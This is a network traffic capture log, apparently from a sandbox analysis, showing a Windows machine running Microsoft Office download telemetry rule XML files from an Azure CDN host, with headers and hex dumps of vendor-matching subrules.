2024-11-11 13:33:00 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:00 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 8317a370-b01e-0001-33d5-3346e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133300Z-174f7845968px8v7hC1EWR08ng00000005900000000083pu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:00 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:00 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 55c0910e-d01e-0082-5dd5-33e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133300Z-174f78459685m244hC1EWRgp2c00000004w0000000007as4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:00 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9a2bdabf-a01e-0053-27d5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133300Z-174f78459684bddphC1EWRbht400000004rg0000000091tu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:00 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:00 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 1815df8f-001e-0028-27d5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133300Z-174f7845968vwdr7hC1EWRsh3w00000004w000000000cn4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:00 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:00 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:00 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: feb354c0-101e-0079-0dd5-335913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133300Z-174f7845968v79b7hC1EWRu01s00000004mg00000000a71e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:00 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:00 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:00 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 1973b281-501e-0047-7bd5-33ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133300Z-174f78459685726chC1EWRsnbg000000050g00000000bx9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:01 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:01 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: dc8e78b0-f01e-0085-35d5-3388ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133301Z-174f7845968vqt9xhC1EWRgten0000000520000000008n9v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:01 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 87508168-a01e-0098-0bd5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133301Z-174f784596886s2bhC1EWR743w00000004yg00000000dsn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:01 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 1958a6a9-101e-0046-5bd5-3391b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133301Z-174f7845968pf68xhC1EWRr4h8000000054000000000efky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:01 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 5f7101d7-901e-0048-4fd5-33b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133301Z-174f7845968vqt9xhC1EWRgten0000000550000000000fpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:01 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:01 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 2f59f113-901e-002a-1dd5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133301Z-174f78459685726chC1EWRsnbg00000004xg00000000fc65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:01 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:01 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 33d00c7b-501e-007b-28d5-335ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133301Z-174f7845968t42glhC1EWRa36w00000004s000000000858b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:01 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49780	13.107.246.45	443

